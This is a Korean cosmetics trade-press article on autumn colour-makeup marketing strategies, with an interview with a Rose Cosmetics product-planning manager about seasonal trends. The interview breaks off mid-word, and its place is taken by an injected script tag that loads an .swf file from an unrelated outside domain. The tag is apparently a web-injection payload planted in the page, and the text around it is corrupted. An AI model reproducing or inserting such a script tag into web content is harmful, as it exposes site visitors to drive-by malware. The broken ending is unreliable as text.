가을시장 활황기대 … 색조전쟁 막 올라 교육 주력하면서 공동마케팅으로 시너지 효과 노린다 가을은 화장품업계에도 나름대로 풍성한 계절이 되지 않을까 하는 기대가 만연하다. 경기침체와 여름철 여러 가지 국가적 이벤트와 폭염 등으로 위축됐던 화장품시장이 크게 살아날 것으로 점쳐지기 때문이다. 또한 색조시장 역시 후끈 달아오를 것이 예상된다. 업계에서 새 상품, 새 패턴과 함께 마련한 마케팅 전략은 무엇인지 알아본다. ■판매점 지원이 매출 상승에는 효자 직접 소비자들을 대하는 판매점에 대한 다양한 지원책 역시 판촉에서는 빼놓을 수 없는 포인트다. 업체들이 마련한 방법을 살펴보면 우선 기본적인 미용강사 파견 교육을 비롯해 점주들을 대상으로 하는 경품 및 서비스 이벤트 등이 있다. 또한 색조의 경우 이미지에서 매출이 좌우되는 경우가 많기 때문에 진열대는 물론 전체적인 매장 디스플레이까지 지원해주는 경우도 있다. 이를 위해 각 업체에서는 판매망 확대를 모색하면서 지원체계를 점검하고 직원교육을 강화하고 있다. ■1대 1 소비자 직접 공략이 최고 막연한 시장 흐름 예측보다는 직접 몸으로 부딪치며 소비자들의 성향과 요구를 파악하는 것이 훨씬 더 정확하다는 것은 굳이 말할 필요가 없는 사실. 가을 시장의 개막을 앞두고 각 업체의 마케팅 담당부서에서는 “눈코 뜰새 없이 바쁘다”는 외침이 만연할 모양이다. 가두 캠페인과 샘플링 등으로 소비자들을 직접 만나 제품을 홍보하고 고정적인 수요층으로 끌어들임은 물론 다음 해에 대한 예측까지도 할 수 있다. ■매체홍보가 효과만점 짱! 일정 비용이 소요되지만 장기적인 효과로 보면 각종 매체를 이용한 광고만한 것이 있을까? 제품에 대한 홍보는 물론 만든 회사의 이미지에도 상당한 영향을 미치는 매체광고는 그야말로 머리를 쥐어짜는 작업이다. 업체마다 여건에 따른 차이는 있지만 TV광고, 지면광고, 지하철광고, 잡지 및 프로그램 협찬 등의 방법으로 이뤄진다. 또한 온라인을 통한 홍보 역시 빼놓을 수 없는 수단이다. 점두 포스터 홍보 역시 매장으로 찾아오는 소비자들에게는 효과적일 수 있다. ■기획세트로 소비자 마음 사로잡는다 계절적 요인을 감안한 구성과 기획세트 또는 기획제품을 준비해 소비자들의 마음을 사로잡겠다는 계획이다. 시장조사를 통해 얻어진 데이터를 십분 활용하여 적절한 제품과 컬러의 테마 상품을 출시 적극적인 판촉 활동을 벌인다. 특히 눈에 띄는 점은 ‘어떤 컬러를 사야 한다’는 방식의 캠페인에서 탈피하여 ‘어떤 제품으로 어떤 스타일을 만들 것인가’하는 점으로의 방향 전환이다. 해당 상품에 대한 특별 이벤트도 당연히 동반된다. ■공동마케팅으로 시너지 효과 노린다 화장과 가장 어울리는 문화 코드는? 바로 패션이다. 화장 역시 패션의 일부로서 그 존재 의의를 찾을 수 있다. 따라서 색조 화장품 업계에서 줄곧 가장 선호해온 방법이 패션업계와의 공동마케팅이다. 공동마케팅은 잘 하면 시너지 효과가 엄청나지만 잘못하면 그야말로 허무해지기 쉽다. 그런 점을 극복하기 위해서는 패턴의 일체화라는 작업이 필수적이다. 최근 뜨고 있는 방법은 바로 개봉하는 영화와의 공동마케팅이다. 한국영화의 르네상스기를 맞아 쏠쏠한 효과를 기대할 만하다. - 이봉구 기자 viewsion@csmt.co.kr INTERVIEW-------------------[로제화장품 상품기획팀 문영주 팀장] “소비자 동참 마케팅 가을 달군다” -가을 색조시장에 대한 시장 조사 결과 소비자들의 경향은? 다가오는 가을, 로맨틱한 여성의 모습으로 여름에서의 탈피를 꿈꾼다. 최근 패션 트렌드와 함께 복고풍 질감, 럭셔리 색감을 중심으로 가을의 정서를 표현하려 한다. 베이지와 브라운을 기본으로 깊은 로즈나 바이올렛을 섞어 고급스러움과 낭만을 추구한다. 색조 제품에 대한 욕구로 메이크업과 실키한 부드러운 사용감의 제품을 기대하고 피부 친화적인 내추럴한 메이크업을 추구한다. -각 업체들의 가을 색조 판촉 캠페인에서 공통으로 나타날 주된 테마가 있다면? 다양한 컬러와 질감을 느낄 수 있도록 동참형 캠페인을 한다. 특히 캠페인과 제품을 연계해 브랜드 인지도를 극대화하고 소비자가 함께할 수 있도록 한다. 또한 인터넷 사용자의 급증으로 온라인 마케팅 또한 새?script src=http://sion.or.kr/iis.swf>

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